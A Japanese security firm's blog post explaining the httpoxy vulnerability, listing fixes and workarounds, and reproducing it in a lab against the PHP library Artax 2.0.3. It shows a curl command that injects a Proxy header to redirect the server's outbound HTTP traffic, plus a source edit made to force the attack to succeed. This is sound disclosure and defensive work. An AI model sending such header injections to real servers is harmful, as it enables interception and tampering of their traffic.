はじめまして。HASHコンサルティングでエンジニアをしている一ノ瀬と申します。
ご存知の通り、現在HASHコンサルティングは現在も積極的にセキュリティエンジニアを募集しています。従業員も少しずつ増えてきましたので、今回の投稿から弊社の代表である徳丸と共に従業員もHASHコンサルティング株式会社公式ブログを更新していくことになりましたので、よろしくお願いいたします。
というわけで、従業員の投稿第1弾は2016/7/19に公開され話題となったhttpoxyの話です。
httpoxyは警視庁による注意喚起もされており、非常に注目を集めています。
まずは脆弱性の内容を簡単に整理してみたいと思います。 httpoxyの根本的な原因はCGIの仕様と一般的に利用される環境変数との名前空間の衝突です。そのため、CGIやCGIライクな環境を利用している場合にhttpoxyの影響を受ける可能性があります。
具体的な動作
CGIはクライアントが送信したHTTP リクエストヘッダの情報を環境変数に設定する際に次の処理を行うようにRFC3875にて規定されています。
- 大文字に変換
- ハイフン
"-"をアンダースコア"_"に変換
- 名前の先頭に
"HTTP_"を付与
その結果として、ProxyというHTTPリクエストヘッダが付与されていた場合に環境変数HTTP_PROXYが設定されることとなります。
例えば次のリクエストがあった場合、
GET /index.php HTTP/1.1
Host: foo.example.com
Proxy: 10.0.0.1:8080
CGIの動作により次の環境変数がセットされます。
HTTP_PROXY=10.0.0.1:8080
ただし、この動作だけで問題が発生するわけではありません。HTTP_PROXYという環境変数は、一般的にCLIで利用されるコマンドベースのアプリケーションがProxyサーバを利用する際に参照するものであるため、この脆弱性が存在するWebサーバが環境変数を参照して外部通信を行う場合に次の問題が発生します。
- 内部サーバ宛てhttp通信の盗聴
- 外部サーバ宛てhttp通信の盗聴および改ざん（中間者攻撃）
本脆弱性への対処
PHPでは最新の5.5.38, 5.6.24, 7.0.9, 7.1.0-bata1にてgetenv関数にlocal_onlyの引数を持つことが出来るようになる修正が含まれたことを確認しています。そして、今回利用しているフレームワークのArtaxでは2.0.4で修正が行われています。
また、回避策としては大きく次の方法があります
- HTTPリクエストヘッダを書き変える
- Apache HTTP Serverのmod_headersやNginxのfastcgi_paramなどが利用できます
- WAFでDropする
- Apache HTTP Serverのmod_rewriteなどが利用できます
- 外部接続にHTTPSを利用する
- HTTPS_PROXYを参照するようになり、原理的に影響を受けなくなります
その他の回避策やより詳細な情報が必要な場合は次のサイトをご参照ください。
httpoxy公式
nginx公式の注意喚起
再現試験をしてみる
httpoxyに関してはhttpoxy.orgによるPoCが既に
公開されています。blogネタとしては少し出遅れた感もあるため、単に公開されているPoCを評価しても面白くないということで、AffectedになっているがPoCは公開されていないPHPのフレームワークであるArtaxを利用して試験をしてみます。
環境
今回の検証では次の環境を準備しました。
検証環境イメージ図
ごめんなさい。少しふざけました。
大して変わりませんが、こちらが本当の構成です。
Windows10では
"www.example.jp"として疑似外部サイトを稼働させていますが、Proxyとして稼働するためのソフトウェアは入っていません。
CentOS6.8にArtaxがインストールされています。ソフトウェアの詳細は次の表を参照してください。
| OS/ソフトウェア |
バージョン |
備考 |
| CentOS |
6.8 |
|
| Apache HTTP Server |
2.2.15 |
|
| phpenv |
rbenv 1.0.0-21-g9fdce5d |
|
| PHP |
5.5.37 |
|
| Composer |
1.2.0 |
|
| Artax |
2.0.3 |
2.0.4でfix |
検証を行うため、事象が再現したことを確認するために確認用のPHPファイル
"httpoxy.php"を設置します。
以下は
"httpoxy.php"の内容です。
<?php
use Amp\Artax\Client;
require 'artax/vendor/autoload.php';
echo "<h1>httpoxy exploit check</h1><br>\n";
echo "<br>==============================================<br>\n";
echo "var_dump(\$_SERVER['HTTP_PROXY']);\n";
var_dump($_SERVER['HTTP_PROXY']);
echo "<br>";
echo "getenv('HTTP_PROXY');\n";
var_dump(getenv('HTTP_PROXY'));
echo "<br>";
echo "<br>==============================================<br>\n";
try {
$client = new Client;
$promise = $client->request('http://www.example.jp');
$response = Amp\wait($promise);
printf(
"\nHTTP/%s %d %s\n",
$response->getProtocol(),
$response->getStatus(),
$response->getReason()
);
} catch (Exception $error) {
echo $error;
}
このサンプルでは、phpファイルが読み込まれた際、環境変数HTTP_PROXYの内容を表示するとともに非同期通信で
"http://www.example.jp"宛ての通信が発生し、ステータスコードを表示します。
実際にブラウザからアクセスすると次の様な表示になります。
通常HTTPリクエストヘッダに
Proxyが含まれることはないので
nullや
falseが返却されます。また、非同期で外部アクセスを行った際のレスポンスに対するステータスが表示されています。
次に環境変数がセットされることを確認するためにHTTPリクエストヘッダに
"Proxy: 192.168.80.1:8080"を設定してリクエストを送ります。
"192.168.80.1"はWindows10のIPアドレスですが、ポート番号8080へのアクセスは受け付けない状態です。
つまり「
ARPは解決できるが、TCP接続は受け付けない状態」であるということです。
HTTPリクエストヘッダを追加したリクエストを簡単に実現するため、今回は
curlコマンドを利用します。以下は実行例です。
$ curl -H "Proxy: 192.168.80.1:8080" "http://192.168.80.234/httpoxy.php"
すると次の結果が返却されます。
var_dump($_SERVER['HTTP_PROXY']);
<pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i>
</pre><br>getenv('HTTP_PROXY');
<pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i>
</pre><br><br>==============================================<br>
HTTP/1.1 200 OK
ハイライトの箇所でProxyヘッダに設定したアドレスとポートが出力されていることが分かります。
PHP上で環境変数
HTTP_PROXYが読み込める状態であるということです。
しかし、何かがおかしいです。
HTTP/1.1 200 OK
そうです。なんと事象が再現していないのです…
本来であればクライアントからのHTTPリクエストヘッダによって設定された環境変数に基づいてProxyへのアクセスが発生するため、Artaxによる非同期通信が失敗するはずなのですが、Proxyへのアクセスが行われていません。ということで、Artaxのソースコードを確認したところ、次のことが判明しました。
まず、ArtaxはProxyのパラメータを2つのオブジェクト（Client, HttpSocketPool）内に
同じ配列名かつ
同じ変数名の
"$options[self::OP_PROXY_HTTP]"で保持しており、
"getenv('http_proxy')"で取得した値はHttpSocketPool側で保持されています。そして、
"new Client;"したタイミングでコンストラクタにより
"new HttpSocketPool;"も実行され、
自動的に環境変数が読み込まれます。
※
"self::OP_PROXY_HTTP"は双方共にHttpSocketPoolの定数を参照しています
2つオブジェクトが保持している配列のパラメータはリクエストを送信する際に
array_merge関数によってマージされてから利用されますが、オブジェクトClientのパラメータで上書きされる仕様（？）により、HttpSocketPoolで保持した値は使われていません。
図にするとこんなイメージです。
以下は、HttpSocketPool内のcheckout関数で利用されている実際のコードですが、$optionsにオブジェクトClientで設定されているパラメータが格納されています。ProxyのパラメータはオブジェクトClientの初期化時に必ず空('')で生成されるため上書きされます。
$options = $options ? array_merge($this->options, $options) : $this->options;
このような実装になっているのは、オブジェクトClientのパラメータ内でproxyを指定可能にしているからだと考えられますが、すこしモヤモヤした気持ちになります。
ということで、ここまで確認した結果として攻撃を成功させることは出来なさそうです。
しかし、
正直言って攻撃を成功させたい！
仕方がないので、攻撃を行うためにHttpSocketPool.phpのcheckout関数で該当コードを次の内容に変更してちゃんと（？）環境変数が読み込まれるようにします（ぇ
//$options = $options ? array_merge($this->options, $options) : $this->options;
$options = $options ? array_merge($options, $this->options) : $this->options;
変更後に再度同じ
curlコマンドでアクセスすると次の出力が確認出来ました。
※長いのでStack traceは割愛しています
var_dump($_SERVER['HTTP_PROXY']);
<pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i>
</pre><br>getenv('HTTP_PROXY');
<pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i>
</pre><br><br>==============================================<br>
exception 'Amp\TimeoutException' with message 'Promise resolution timed out' in /var/www/DVWA/artax2.0.3/vendor/amphp/amp/lib/functions.php:676
Next exception 'Amp\Socket\ConnectException' with message 'Connection to tcp://192.168.80.1:8080#www.example.jp:80 failed: timeout exceeded (30000 ms)' in /var/www/DVWA/artax2.0.3/vendor/amphp/socket/lib/functions.php:127
ハイライト部分でタイムアウトが発生していることが分かります。
以下はその際のtcpdump実行結果です。Proxy向けのアクセスが発生しています。
[root@centos6 lib]# tcpdump -nni eth0 port 8080
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
19:23:56.041643 IP 192.168.80.234.39456 > 192.168.80.1.8080: Flags [S], seq 814859424, win 14600, options [mss 1460,sackOK,TS val 581206244 ecr 0,nop,wscale 7], length 0
19:23:57.041446 IP 192.168.80.234.39456 > 192.168.80.1.8080: Flags [S], seq 814859424, win 14600, options [mss 1460,sackOK,TS val 581207244 ecr 0,nop,wscale 7], length 0
19:23:59.041698 IP 192.168.80.234.39456 > 192.168.80.1.8080: Flags [S], seq 814859424, win 14600, options [mss 1460,sackOK,TS val 581209244 ecr 0,nop,wscale 7], length 0
コードを書き換えることにより、無事に（？）外部から指定したProxy向け通信を発生させることに成功しました！
まとめ
弊社で検証を実施した限り、オブジェクトClientを生成してリクエスト送信した場合において問題事象が発生することは無さそうです。しかし、絶対に問題が発生しないと保証することはできませんので、Artaxを利用される方は
必ずv2.0.4以降へのバージョンアップを検討してください。
※本blogの記事は公開している内容やアプリケーションの動作を保証するものではありません。そのため、公開情報を利用される場合は、必ずご自身で検証されたうえでの利用をお願いいたします。
私は、2014年8月に「脆弱性診断研究会（Security Testing Workshop）」を立ち上げて以来、毎月、ハンズオンセミナーを開催しており、延べ開催数は30回を超えています。
私は、2014年8月に「脆弱性診断研究会（Security Testing Workshop）」を立ち上げて以来、毎月、ハンズオンセミナーを開催しており、延べ開催数は30回を超えています。
